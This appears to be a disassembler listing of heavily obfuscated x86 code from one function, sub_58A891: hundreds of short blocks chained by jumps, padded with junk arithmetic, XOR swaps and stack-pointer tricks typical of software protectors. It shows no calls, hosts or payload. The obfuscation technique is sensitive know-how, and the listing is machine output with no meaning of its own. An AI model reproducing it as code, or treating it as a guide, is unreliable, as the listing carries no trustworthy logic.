		jmp	loc_5A7B19
; ---------------------------------------------------------------------------
		add	esp, 4
		pop	ecx
		neg	word ptr [esp+0Eh+var_10+2]
		pushf
		jmp	loc_5AD1B8
; ---------------------------------------------------------------------------


loc_5AE330:				; CODE XREF: sub_58A891+23755j
		mov	[esp+9Eh+var_9E], ecx
		jmp	loc_59E226
; ---------------------------------------------------------------------------


loc_5AE338:				; CODE XREF: sub_58A891+1A2A7j
		mov	ecx, [esp+8Ah+var_8C+2]
		jmp	loc_5A294D
; ---------------------------------------------------------------------------


loc_5AE340:				; CODE XREF: sub_58A891+24B51j
		add	esp, 4
		push	7D06h
		mov	[esp+8Ah+var_8C+2], edx
		mov	edx, 67EB3CADh
		mov	dword ptr [ecx], 21C44477h
		jmp	loc_5B28FF
; ---------------------------------------------------------------------------


loc_5AE35B:				; CODE XREF: sub_58A891+22CBAj
		mov	edx, [esp+2+var_4+2]
		jmp	loc_5ADF63
; ---------------------------------------------------------------------------


loc_5AE363:				; CODE XREF: sub_58A891+1EA3Fj
					; sub_58A891+1FFC8j
		push	10C0h
		mov	[esp+82h+var_84+2], eax
		sub	esp, 4
		mov	[esp+86h+var_88+2], edx
		mov	edx, 4
		jmp	loc_5A60EA
; ---------------------------------------------------------------------------


loc_5AE37E:				; CODE XREF: sub_58A891+254EFj
		add	ecx, 0B20693Bh
		mov	ebx, ecx
		pop	ecx
		not	ebx
		add	ebx, 0CE0CAF3Bh
		add	edi, 333F5064h
		add	edi, ebx
		sub	edi, 333F5064h
		pop	ebx
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+7Eh+var_80+2]
		jmp	loc_59E28A
; ---------------------------------------------------------------------------


loc_5AE3B3:				; CODE XREF: sub_58A891+1DC71j
		mov	ah, 5Bh
		xor	ah, 1Eh
		dec	ah
		xor	ah, 4Eh
		sub	ch, ah
		pop	eax
		push	small 0C4Ah
		mov	word ptr [esp+10h+var_10], ax
		mov	al, 6
		or	ch, al
		jmp	loc_5AF1F9
; ---------------------------------------------------------------------------


loc_5AE3D1:				; CODE XREF: sub_58A891+21FBCj
		add	eax, ecx
		mov	ecx, [esp+22h+var_24+2]
		jmp	loc_5A257B
; ---------------------------------------------------------------------------


loc_5AE3DB:				; CODE XREF: sub_58A891+1F2A2j
		xor	edx, [esp+0FAh+var_FC+2]
		xor	[esp+0FAh+var_FC+2], edx
		jmp	loc_59D7B5
; ---------------------------------------------------------------------------


loc_5AE3E6:				; CODE XREF: sub_58A891+163DBj
		pop	edx
		add	eax, ebx
		pop	ebx
		pop	esi
		xor	eax, [esp+3Ah+var_3C+2]
		xor	[esp+3Ah+var_3C+2], eax
		xor	eax, [esp+3Ah+var_3C+2]
		jmp	loc_5B123A
; ---------------------------------------------------------------------------


loc_5AE3F9:				; CODE XREF: sub_58A891+1C84Dj
		jns	loc_5AAD05
		jmp	loc_5A74EB
; ---------------------------------------------------------------------------
		add	esp, 4
		push	ebx
		mov	al, cl


loc_5AE40D:				; CODE XREF: sub_58A891+1EA92j
		mov	esp, [esp+0B2h+var_B2]
		jmp	loc_5A7EDC
; ---------------------------------------------------------------------------


loc_5AE415:				; CODE XREF: sub_58A891+1D8DCj
		xor	esi, ebx
		pop	ebx
		jmp	loc_5A9999
; ---------------------------------------------------------------------------


loc_5AE41D:				; CODE XREF: sub_58A891+1360Aj
		xor	eax, esi
		pop	esi
		push	edx
		mov	edx, 758E1149h
		and	eax, edx
		pop	edx
		push	ebx
		jmp	loc_5A00D4
; ---------------------------------------------------------------------------


loc_5AE42F:				; CODE XREF: sub_58A891+26AC1j
		xor	edi, ebx
		pop	ebx
		and	eax, edi
		jmp	loc_5AD4F4
; ---------------------------------------------------------------------------


loc_5AE439:				; CODE XREF: sub_58A891+13396j
					; sub_58A891+23297j
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 15FB59CBh
		sub	eax, 0FFFFFFFFh
		inc	eax
		push	esi
		mov	esi, 22F55BAFh
		push	ebx
		mov	ebx, 7A6C7B45h
		sub	esi, 703F19E0h
		sub	esi, ebx
		jmp	loc_5A8E0E
; ---------------------------------------------------------------------------


loc_5AE461:				; CODE XREF: sub_58A891+26BEFj
		sub	ebx, ebp
		push	[esp+32h+var_34+2]
		pop	ebp
		add	esp, 4
		push	ebx
		pop	dword ptr [edi+20h]
		jmp	loc_5A83DA
; ---------------------------------------------------------------------------


loc_5AE473:				; CODE XREF: sub_58A891+17424j
		mov	word ptr [esp+64h+var_64], dx
		mov	dl, 15h
		xor	bl, dl
		mov	dx, word ptr [esp+64h+var_64]
		add	esp, 2
		jmp	loc_5A2D44
; ---------------------------------------------------------------------------


loc_5AE487:				; CODE XREF: sub_58A891+20324j
		add	[esp+4], esi
		pop	esi
		pop	ebx
		push	7350h
		mov	[esp+0], ecx
		jmp	loc_59F70D
; ---------------------------------------------------------------------------


loc_5AE49A:				; CODE XREF: sub_58A891+1C0A4j
		push	1DE9h
		mov	[esp+3Eh+var_40+2], edi
		push	ebx
		push	52809CDh
		pop	ebx
		shl	ebx, 3
		jnz	loc_5A4935
		jmp	loc_5A34EF
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+42h+var_44+2]
		push	edi
		mov	ch, 41h


loc_5AE4BF:				; CODE XREF: sub_58A891+14D04j
		mov	[esp+1Eh+var_20+2], esp
		add	[esp+1Eh+var_20+2], 4
		mov	ebp, [esp+1Eh+var_20+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5AF0D5
; ---------------------------------------------------------------------------


loc_5AE4D7:				; CODE XREF: sub_58A891+15B1Bj
		add	ebp, 0ED3B2EC4h
		mov	esi, ebp
		pop	ebp
		inc	esi
		jle	loc_5A9773
		or	esi, 5939623Ch
		shl	esi, 4
		shr	esi, 3
		inc	esi
		jnz	loc_59EF9E
		sub	esi, 1E76EE79h
		mov	dl, ch
		mov	ch, cl


loc_5AE504:				; CODE XREF: sub_58A891+17AE3j
		xchg	edx, [esp+0C6h+var_C6]
		mov	esp, [esp+0C6h+var_C6]
		sub	[edi+24h], ecx
		jmp	loc_59F161
; ---------------------------------------------------------------------------


loc_5AE512:				; CODE XREF: sub_58A891+1F6A2j
		mov	eax, 691A0B56h
		shl	eax, 1
		inc	eax
		not	eax
		jmp	loc_5AC0A3
; ---------------------------------------------------------------------------


loc_5AE521:				; CODE XREF: sub_58A891+17CCFj
		add	al, 88h
		sub	esp, 4
		jmp	loc_5A2863
; ---------------------------------------------------------------------------


loc_5AE52B:				; CODE XREF: sub_58A891+1FC59j
		xor	[esp+5Ch+var_5C], esi
		jmp	loc_5AEC99
; ---------------------------------------------------------------------------


loc_5AE533:				; CODE XREF: sub_58A891+23785j
		or	ah, ch
		mov	ecx, [esp+0A8h+var_AA+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0ACh+var_AE+2]
		pop	esp
		jmp	loc_5AA5EA
; ---------------------------------------------------------------------------


loc_5AE550:				; CODE XREF: sub_58A891+1D2DDj
		xor	edx, 84F9FC96h
		mov	edi, edx
		pop	edx
		add	edi, 60665DF9h
		sub	edi, eax
		sub	edi, 60665DF9h
		pop	eax
		neg	edi
		jmp	loc_5B1346
; ---------------------------------------------------------------------------


loc_5AE56F:				; CODE XREF: sub_58A891+1C626j
		jmp	loc_5A714A
; ---------------------------------------------------------------------------


loc_5AE574:				; CODE XREF: sub_58A891+183EBj
		pop	edx
		add	esp, 4
		push	esi
		jmp	loc_5A0C49
; ---------------------------------------------------------------------------


loc_5AE581:				; CODE XREF: sub_58A891+1F8A7j
		add	eax, 4B75189Bh
		mov	ebp, [esp+42h+var_44+2]
		add	esp, 4
		push	eax
		mov	ebp, [esp+42h+var_44+2]
		add	esp, 4
		mov	eax, [esp+3Eh+var_40+2]
		add	esp, 4
		jmp	loc_5A03E5
; ---------------------------------------------------------------------------
		push	esi
		push	esp
		jmp	loc_5B128D
; ---------------------------------------------------------------------------


loc_5AE5AE:				; CODE XREF: sub_58A891+19CB4j
					; sub_58A891:loc_5B2E92j
		mov	edx, 4
		sub	ebx, 43191EC1h
		add	ebx, edx
		push	edx
		push	7785h
		mov	[esp+44h+var_44], ebx
		mov	ebx, 2CBD7128h
		not	ebx
		jmp	loc_5A62D8
; ---------------------------------------------------------------------------


loc_5AE5D0:				; CODE XREF: sub_58A891:loc_5A3DDFj
		push	eax
		jmp	loc_5A39AA
; ---------------------------------------------------------------------------


loc_5AE5D6:				; CODE XREF: sub_58A891+1D4E5j
		sub	edi, 18097730h
		add	edi, 0B309CD10h
		push	edi
		jmp	loc_5A18CD
; ---------------------------------------------------------------------------


loc_5AE5E8:				; CODE XREF: sub_58A891+1F73Bj
		push	[esp+42h+var_40+2]
		pop	edi
		pop	[esp+42h+var_44+2]
		jmp	loc_5ADBB7
; ---------------------------------------------------------------------------


loc_5AE5F5:				; CODE XREF: sub_58A891+1170Dj
		add	eax, 1
		sub	esp, 4
		mov	[esp+3Eh+var_40+2], edx
		mov	edx, 30CD7F54h
		shl	edx, 7
		jz	loc_5B0952
		inc	edx
		jns	loc_5A3C09
		shl	edx, 6
		jnp	loc_5A7D7B
		jmp	loc_5AF647
; ---------------------------------------------------------------------------


loc_5AE624:				; CODE XREF: sub_58A891+241A3j
		add	edx, eax
		mov	eax, [esp+3Eh+var_40+2]
		push	6B00h
		mov	[esp+42h+var_44+2], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		mov	edx, 4
		sub	ecx, 14581BBBh
		add	ecx, edx
		add	ecx, 14581BBBh
		jmp	loc_5A8DED
; ---------------------------------------------------------------------------


loc_5AE652:				; CODE XREF: sub_58A891+258D0j
		mov	eax, 675CFE90h
		add	ecx, 2627792Eh
		add	ecx, eax
		sub	ecx, 2627792Eh
		jmp	loc_59E21E
; ---------------------------------------------------------------------------


loc_5AE66A:				; CODE XREF: sub_58A891+12A0Dj
		mov	edx, 59423997h
		or	ebx, edx
		jmp	loc_5A78C7
; ---------------------------------------------------------------------------


loc_5AE676:				; CODE XREF: sub_58A891+22B00j
		sub	edx, esi
		push	[esp+4Ah+var_4C+2]
		pop	esi
		add	esp, 4
		xchg	edx, [esp+46h+var_48+2]
		mov	esp, [esp+46h+var_48+2]
		mov	[esp+46h+var_48+2], ecx
		jmp	loc_5A72AE
; ---------------------------------------------------------------------------
		push	[esp+46h+var_48+2]
		jmp	loc_5A6F8E
; ---------------------------------------------------------------------------


loc_5AE695:				; CODE XREF: sub_58A891+27018j
		xor	edi, [esp+4Ah+var_4C+2]
		jmp	loc_59DB29
; ---------------------------------------------------------------------------


loc_5AE69D:				; CODE XREF: sub_58A891+146B9j
		or	edi, 68793934h
		and	edi, 2C5A086Ah
		add	edi, 7848708Eh
		dec	edi
		or	edi, 7C4571A1h
		sub	edi, 0C47D33E5h
		sub	ebx, edi
		pop	edi
		add	ebx, edx
		add	ebx, 386845D0h
		jmp	loc_5A61E1
; ---------------------------------------------------------------------------
		push	[esp+0A2h+var_A2]
		push	[esp+0A6h+var_A6]
		push	[esp+0AAh+var_AA]
		jmp	loc_59D3E8
; ---------------------------------------------------------------------------


loc_5AE6DA:				; CODE XREF: sub_58A891+20659j
		xchg	esi, [esp+2Eh+var_30+2]
		mov	esp, [esp+2Eh+var_30+2]
		ror	word ptr [esp+2Eh+var_30+2], cl
		pushf
		jmp	loc_5AC16C
; ---------------------------------------------------------------------------


loc_5AE6EA:				; CODE XREF: sub_58A891+25BA7j
		pop	ebx
		sub	al, dh
		pop	edx
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		jmp	loc_5A1EBB
; ---------------------------------------------------------------------------


loc_5AE6FC:				; CODE XREF: sub_58A891+1365Cj
		pop	esp
		pop	[esp+1Ah+var_1C+2]
		mov	esp, [esp+16h+var_18+2]
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], esi
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], ebx
		mov	ebx, 3E1B5FC2h
		shr	ebx, 6
		push	eax
		push	156Ch
		mov	[esp+26h+var_28+2], edi
		jmp	loc_5A6092
; ---------------------------------------------------------------------------


loc_5AE728:				; CODE XREF: sub_58A891+27386j
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		not	ebp
		xchg	eax, ebp
		jmp	loc_59E70E
; ---------------------------------------------------------------------------


loc_5AE736:				; CODE XREF: sub_58A891+137AAj
		sub	ecx, 44E5526Bh
		xor	ecx, 2B3FFA15h
		jmp	loc_5A1286
; ---------------------------------------------------------------------------


loc_5AE747:				; CODE XREF: sub_58A891+16AAAj
		mov	esi, esp
		add	esi, 4
		jmp	loc_5B0124
; ---------------------------------------------------------------------------


loc_5AE754:				; CODE XREF: sub_58A891+1B9FCj
		push	ebp
		mov	ebp, 51A46859h
		shl	ebp, 8
		and	ebp, 401F01D1h
		xor	ebp, 1CCD72AAh
		dec	ebp
		jmp	loc_5A5E84
; ---------------------------------------------------------------------------


loc_5AE76F:				; CODE XREF: sub_58A891+1A23Ej
		push	[esp+6Ch+var_6C]
		mov	ecx, [esp+70h+var_70]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp+6Ch+var_6C], edx
		jmp	loc_59EEA5
; ---------------------------------------------------------------------------


loc_5AE78C:				; CODE XREF: sub_58A891+180F5j
		push	2
		push	[esp+0DAh+var_DA]
		pop	ebp
		add	esp, 4
		push	edx
		push	ebp
		push	2A941D01h
		push	[esp+0E2h+var_E2]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A83F8
; ---------------------------------------------------------------------------


loc_5AE7B1:				; CODE XREF: sub_58A891+1C464j
		dec	eax
		jo	loc_5A41E1
		xor	eax, 1214F217h
		mov	edi, eax
		mov	eax, [esp+0A2h+var_A2]
		add	esp, 4
		sub	esi, edi
		mov	edi, [esp+9Eh+var_9E]
		push	7A7Fh
		mov	[esp+0A2h+var_A2], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0A2h+var_A2]
		pop	esp
		push	esi
		xor	[esp+0A2h+var_A2], 4E8D4755h
		pop	edx
		jmp	loc_5A458A
; ---------------------------------------------------------------------------


loc_5AE7F2:				; CODE XREF: sub_58A891+1202Cj
		mov	eax, esp
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		pop	dword ptr [edi+24h]


loc_5AE809:				; CODE XREF: sub_58A891+11EEAj
		push	5AD1h
		mov	[esp+96h+var_98+2], ebx
		push	ebx
		mov	ebx, 78EA73CDh
		xor	[esp+9Ah+var_98+2], ebx
		pop	ebx
		push	[esp+96h+var_98+2]
		mov	eax, [esp+0]
		sub	esp, 4
		jmp	loc_5B0C5C
; ---------------------------------------------------------------------------


loc_5AE82A:				; CODE XREF: sub_58A891+25263j
		push	ebx
		jmp	loc_5AC94E
; ---------------------------------------------------------------------------


loc_5AE830:				; CODE XREF: sub_58A891+23586j
		push	[esp+6+var_8+2]
		pop	ecx
		add	esp, 4
		sub	al, bl
		jmp	loc_5A005F
; ---------------------------------------------------------------------------


loc_5AE841:				; CODE XREF: sub_58A891+23136j
		pop	bx
		add	al, 0Eh
		jmp	loc_5A1DDA
; ---------------------------------------------------------------------------


loc_5AE84A:				; CODE XREF: sub_58A891+2165Bj
		pop	ebp
		pop	dword ptr [esp+0]
		mov	esp, [esp+96h+var_98+2]
		or	word ptr [esp+96h+var_98+2], ax
		pushf
		jmp	loc_5A5717
; ---------------------------------------------------------------------------


loc_5AE85B:				; CODE XREF: sub_58A891+11889j
		sub	eax, 0F9DAB93Dh
		jmp	loc_5A5E2F
; ---------------------------------------------------------------------------


loc_5AE865:				; CODE XREF: sub_58A891+1D24Ej
		push	edx
		mov	dh, 2Eh
		neg	dh
		not	dh
		shr	dh, 3
		shl	dh, 2
		sub	dh, 13h
		sub	bl, dh
		pop	edx
		add	bl, 0DDh
		jmp	loc_5A3374
; ---------------------------------------------------------------------------


loc_5AE880:				; CODE XREF: sub_58A891+2273Bj
		push	eax
		jmp	loc_59C21E
; ---------------------------------------------------------------------------


loc_5AE886:				; CODE XREF: sub_58A891+1C5E5j
		neg	ebp
		jnb	loc_5AC03E
		and	ebp, 55A63AC5h
		jo	loc_5A8B38
		dec	ebp
		jmp	loc_59C2E2
; ---------------------------------------------------------------------------


loc_5AE8A0:				; CODE XREF: sub_58A891+1FFB7j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	[esp+0CEh+var_CA]
		pop	ebx
		pop	[esp+0CEh+var_CE]
		pop	esp
		mov	[esp+0C6h+var_C6], ebx
		mov	ebx, 4
		push	ebx
		mov	ebx, 13E666A6h
		inc	ebx
		and	ebx, 16A76F71h
		sub	ebx, 0DC5933CEh
		sub	esi, ebx
		mov	ebx, [esp+0CAh+var_CA]
		add	esp, 4
		add	esi, ebx
		add	esi, 364D3253h
		push	[esp+0C6h+var_C6]
		pop	ebx
		add	esp, 4
		push	eax
		mov	eax, 0F255FEAh
		add	eax, 0FFFFFFFFh
		shr	eax, 5
		sub	eax, 1
		sub	eax, 0FFFFFFFFh
		push	edx
		mov	edx, 0FF86D503h
		add	eax, edx
		pop	edx
		add	esi, eax
		jmp	loc_59D56C
; ---------------------------------------------------------------------------


loc_5AE911:				; CODE XREF: sub_58A891+16C65j
		or	edx, eax
		shl	edx, 1
		jmp	loc_5ABAA1
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AE922:				; CODE XREF: sub_58A891+15AC8j
		add	ecx, 22EE7D13h
		jmp	loc_5B1C38
; ---------------------------------------------------------------------------


loc_5AE92D:				; CODE XREF: sub_58A891+17D2Aj
		xor	ebx, 0A41B6102h
		mov	ebp, ebx
		pop	ebx
		sub	[esp+8Ch+var_88], ebp
		jmp	loc_5AFB2D
; ---------------------------------------------------------------------------


loc_5AE93F:				; CODE XREF: sub_58A891+11D19j
					; sub_58A891+1AB56j
		mov	bl, 0C4h
		mov	dh, 0C5h
		sub	dh, bl
		pop	ebx
		sub	dh, ch
		jmp	loc_5A8A00
; ---------------------------------------------------------------------------


loc_5AE94D:				; CODE XREF: sub_58A891+25432j
		or	edi, 5C607F5Ah
		dec	edi
		shr	edi, 2
		xor	edi, 0CFF1C57Ch
		sub	ebx, 7DBA1B29h
		jmp	loc_5B1B3E
; ---------------------------------------------------------------------------


loc_5AE968:				; CODE XREF: sub_58A891+1E1D4j
		xor	edx, 27CF05CDh
		xor	edx, 24816A31h
		xor	edx, 29066BA4h
		xor	esi, edx
		pop	edx
		jmp	loc_5A8593
; ---------------------------------------------------------------------------


loc_5AE982:				; CODE XREF: sub_58A891+18D06j
		push	4457h
		mov	[esp+56h+var_58+2], edi
		mov	edi, 5EC06FAAh
		push	ebp
		mov	ebp, edi
		jmp	loc_5A83A3
; ---------------------------------------------------------------------------


loc_5AE997:				; CODE XREF: sub_58A891+277DBj
		add	ebx, esi
		sub	ebx, 598725Eh
		pop	esi
		push	ebp
		push	4
		mov	ebp, [esp+5Eh+var_60+2]
		jmp	loc_5A3FEC
; ---------------------------------------------------------------------------


loc_5AE9AE:				; CODE XREF: sub_58A891+14800j
		mov	edx, 4
		jmp	loc_5B1703
; ---------------------------------------------------------------------------


loc_5AE9B8:				; CODE XREF: sub_58A891:loc_5A1B09j
					; sub_58A891+202E7j
		mov	edx, [esp+96h+var_98+2]
		add	esp, 4
		push	7970h
		jmp	loc_5A4AED
; ---------------------------------------------------------------------------


loc_5AE9C8:				; CODE XREF: sub_58A891+27930j
		or	ch, al
		mov	eax, [esp+96h+var_98+2]
		add	esp, 4
		not	ch
		jmp	loc_5AAA3B
; ---------------------------------------------------------------------------


loc_5AE9D7:				; CODE XREF: sub_58A891:loc_5B262Dj
		jmp	loc_5A26BA
; ---------------------------------------------------------------------------


loc_5AE9DC:				; CODE XREF: sub_58A891+204AEj
		pop	ecx
		add	al, 53h
		sub	al, dh
		sub	al, 53h
		push	[esp+0Eh+var_10+2]
		jmp	loc_5AD37F
; ---------------------------------------------------------------------------


loc_5AE9EB:				; CODE XREF: sub_58A891+26FD5j
		add	esi, ecx
		sub	esi, 487335A0h
		jmp	loc_5B1D98
; ---------------------------------------------------------------------------


loc_5AE9F8:				; CODE XREF: sub_58A891+1B2AEj
		push	2D85h
		mov	[esp+96h+var_98+2], esp
		add	[esp+96h+var_98+2], 4
		mov	ecx, [esp+96h+var_98+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 1E610AE6h
		jmp	loc_5AAE26
; ---------------------------------------------------------------------------


loc_5AEA1B:				; CODE XREF: sub_58A891+1A49Aj
		mov	esp, [esp+12h+var_14+2]
		push	165Dh
		mov	[esp+16h+var_18+2], eax
		jmp	loc_5A2B80
; ---------------------------------------------------------------------------


loc_5AEA2B:				; CODE XREF: sub_58A891+25A0Bj
		mov	[esp+16h+var_18+2], eax
		push	2
		pop	eax
		jmp	loc_5AE624
; ---------------------------------------------------------------------------


loc_5AEA39:				; CODE XREF: sub_58A891+272A8j
		pop	esi
		mov	ebx, 0EC39BD6h
		sub	ebx, 62823011h
		add	ebx, ecx
		add	ebx, 62823011h
		jmp	loc_5A22F3
; ---------------------------------------------------------------------------


loc_5AEA52:				; CODE XREF: sub_58A891+131AAj
		neg	ecx
		jmp	loc_5A150C
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AEA61:				; CODE XREF: sub_58A891+1C7A6j
		shr	edi, 8
		add	edi, 0FF8022C5h
		add	ebx, 13068ADh
		sub	ebx, edi
		sub	ebx, 13068ADh
		pop	edi
		jmp	loc_5AFC6D
; ---------------------------------------------------------------------------


loc_5AEA7E:				; CODE XREF: sub_58A891+199F0j
		add	esp, 4
		jmp	loc_59F4F3
; ---------------------------------------------------------------------------


loc_5AEA86:				; CODE XREF: sub_58A891+12738j
		mov	ax, word ptr [esp+0A2h+var_A2]
		jmp	loc_59D098
; ---------------------------------------------------------------------------


loc_5AEA8F:				; CODE XREF: sub_58A891+203A1j
		push	0
		sub	[esp+1Ah+var_1C+2], edi
		mov	edi, [esp+1Ah+var_1C+2]
		jmp	loc_5A2672
; ---------------------------------------------------------------------------


loc_5AEA9F:				; CODE XREF: sub_58A891+21300j
		push	edx
		push	ebx
		mov	ebx, 1DFE0E19h
		sub	esp, 4
		mov	[esp+46h+var_48+2], ecx
		jmp	loc_59D006
; ---------------------------------------------------------------------------


loc_5AEAB4:				; CODE XREF: sub_58A891+1ED7Bj
					; sub_58A891+284B0j
		push	65D3h
		mov	[esp+70h+var_70], eax
		jmp	loc_5B049B
; ---------------------------------------------------------------------------


loc_5AEAC1:				; CODE XREF: sub_58A891+157B0j
		add	ebp, 4
		push	edx
		mov	edx, 2
		add	ebp, 4BA40C0Fh
		add	ebp, edx
		sub	ebp, 4BA40C0Fh
		pop	edx
		jmp	loc_5AC6FD
; ---------------------------------------------------------------------------


loc_5AEAE1:				; CODE XREF: sub_58A891+193A7j
		push	esi
		push	6E49235Dh
		pop	esi
		push	edx
		mov	edx, 548B52B4h
		jmp	loc_5B11FC
; ---------------------------------------------------------------------------


loc_5AEAF3:				; CODE XREF: sub_58A891+12D6Fj
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp+2Ah+var_2C+2]
		pop	esp
		jmp	loc_5A9901
; ---------------------------------------------------------------------------


loc_5AEB08:				; CODE XREF: sub_58A891+21C87j
		xor	edi, 4389CAE6h
		mov	eax, edi
		pop	edi
		or	esi, eax
		pop	eax
		sub	esp, 4
		jmp	loc_5A3234
; ---------------------------------------------------------------------------


loc_5AEB1F:				; CODE XREF: sub_58A891+18EEFj
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], eax
		push	0DF4h
		mov	[esp+3Eh+var_40+2], edx
		push	eax
		mov	eax, 4453E06h
		mov	edx, 0FBBAC1FBh
		jmp	loc_5ACAB7
; ---------------------------------------------------------------------------


loc_5AEB3D:				; CODE XREF: sub_58A891+1EA37j
		inc	cl
		jns	loc_5B0DDC
		push	7061h
		mov	[esp+82h+var_84+2], eax
		jmp	loc_5A060E
; ---------------------------------------------------------------------------


loc_5AEB52:				; CODE XREF: sub_58A891+1D573j
		neg	ecx
		sub	ecx, 1
		or	ecx, 19DA53E2h
		add	ecx, 6A0D56F5h
		neg	ecx
		add	ecx, 22FBB7CDh
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, esi
		pop	ebp
		push	edx
		mov	edx, 70B22DD3h
		jmp	$+5
		add	edx, 2B7041A0h
		shl	edx, 3
		sub	edx, 3EFD5B31h
		jmp	loc_5B1B20
; ---------------------------------------------------------------------------


loc_5AEB93:				; CODE XREF: sub_58A891+22939j
		jg	loc_5ACF93
		dec	edi
		jmp	loc_59C712
; ---------------------------------------------------------------------------
		and	ebp, 76490BC4h
		mov	cl, 70h


loc_5AEBA7:				; CODE XREF: sub_58A891+1E613j
		pop	esi
		add	eax, ebp
		mov	ebp, [esp+1Ah+var_1C+2]
		add	esp, 4
		neg	eax
		add	eax, 673410DBh
		push	eax
		xor	[esp+1Ah+var_1C+2], 5E920800h
		pop	edx
		push	esi
		mov	esi, 3C480438h
		dec	esi
		or	esi, 565E445Ch
		jmp	loc_5ACB2F
; ---------------------------------------------------------------------------


loc_5AEBD5:				; CODE XREF: sub_58A891+1ECA0j
		push	[esp+0B2h+var_B2]
		pop	eax
		push	edi
		jmp	loc_5B02FD
; ---------------------------------------------------------------------------


loc_5AEBDF:				; CODE XREF: sub_58A891+1C83Fj
		add	[esp+32h+var_34+2], 4
		jmp	loc_59DF0C
; ---------------------------------------------------------------------------


loc_5AEBE8:				; CODE XREF: sub_58A891+18E54j
		mov	ebx, 0B666602h
		sub	esp, 4
		mov	[esp+0FEh+var_100+2], ecx
		mov	ecx, 3E6A7D00h
		mov	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 57477D7Eh
		add	edx, 77227680h
		jmp	loc_5A99FC
; ---------------------------------------------------------------------------


loc_5AEC0F:				; CODE XREF: sub_58A891+1FBD4j
		add	eax, ebx
		sub	eax, 10E31757h
		pop	ebx
		push	edx
		mov	edx, 3B3900D9h
		jmp	loc_5B02E2
; ---------------------------------------------------------------------------


loc_5AEC22:				; CODE XREF: sub_58A891+246A4j
		push	4035h
		mov	[esp+22h+var_24+2], edx
		mov	dl, 0D0h
		dec	dl
		jmp	loc_5AC4A8
; ---------------------------------------------------------------------------


loc_5AEC33:				; CODE XREF: sub_58A891+1B98Bj
		mov	esi, esp
		push	ecx
		sub	esp, 4
		mov	[esp+60h+var_60], ebp
		jmp	loc_59F74B
; ---------------------------------------------------------------------------


loc_5AEC41:				; CODE XREF: sub_58A891+1EFFFj
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		jmp	loc_5AD36F
; ---------------------------------------------------------------------------


loc_5AEC4C:				; CODE XREF: sub_58A891+1CA77j
		add	esi, 1
		sub	esp, 4
		jmp	loc_5B00BE
; ---------------------------------------------------------------------------


loc_5AEC5A:				; CODE XREF: sub_58A891+1176Dj
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp+2Eh+var_30+2]
		mov	esp, [esp+2Eh+var_30+2]
		add	esp, 4
		push	ebp
		push	esp
		jmp	loc_5AD2CB
; ---------------------------------------------------------------------------


loc_5AEC71:				; CODE XREF: sub_58A891+14F98j
		mov	eax, [esp+46h+var_48+2]
		add	esp, 4
		add	ebx, 49136377h
		add	ebx, 48333917h
		add	ebx, edi
		push	ecx
		mov	ecx, 2145E78h
		xor	ecx, 4A27676Fh
		jmp	loc_5AB906
; ---------------------------------------------------------------------------


loc_5AEC99:				; CODE XREF: sub_58A891+23C9Dj
		xor	esi, [esp+5Ch+var_5C]
		mov	esp, [esp+5Ch+var_5C]
		and	eax, ebx
		pop	ebx
		or	edx, eax
		jmp	loc_5A1BDC
; ---------------------------------------------------------------------------


loc_5AECA9:				; CODE XREF: sub_58A891+1736Fj
		jno	loc_5A17CF
		jmp	loc_5B1B7E
; ---------------------------------------------------------------------------
		mov	esi, edx
		jmp	loc_59CA95
; ---------------------------------------------------------------------------
		push	ebx


loc_5AECBC:				; CODE XREF: sub_58A891+225A3j
		push	eax
		jmp	loc_59F281
; ---------------------------------------------------------------------------


loc_5AECC2:				; CODE XREF: sub_58A891+156C0j
		xor	[esp+4Ah+var_48+2], ecx
		pop	ecx
		pop	ecx
		xor	ecx, 45FF085Dh
		mov	edi, [esp+42h+var_44+2]
		add	esp, 4
		or	esi, ecx
		jmp	loc_5AA493
; ---------------------------------------------------------------------------


loc_5AECDB:				; CODE XREF: sub_58A891+1E241j
		mov	di, 3FD3h
		inc	di
		xor	di, 40F8h
		sub	bp, di
		jmp	loc_5A0AF5
; ---------------------------------------------------------------------------


loc_5AECEE:				; CODE XREF: sub_58A891+25C7Dj
		and	esi, 5FA3693Fh
		jg	loc_5A78E8
		jmp	loc_5A4B61
; ---------------------------------------------------------------------------
		xor	cl, 0B9h
		sub	bl, cl
		pop	cx
		push	esp


loc_5AED07:				; CODE XREF: sub_58A891+15C62j
		or	byte ptr [esp+5Ah+var_5C+2], al
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AED10:				; CODE XREF: sub_58A891+11FDFj
		pop	esp
		add	ebp, 4
		push	ecx
		jmp	loc_5A18A1
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0D0685224h, 89000006h, 4812424h, 424h, 0C2815A00h, 4
		dd 8704EA83h, 895C2414h, 0F968241Ch, 0E900003Dh, 0FFFEDE29h
; ---------------------------------------------------------------------------


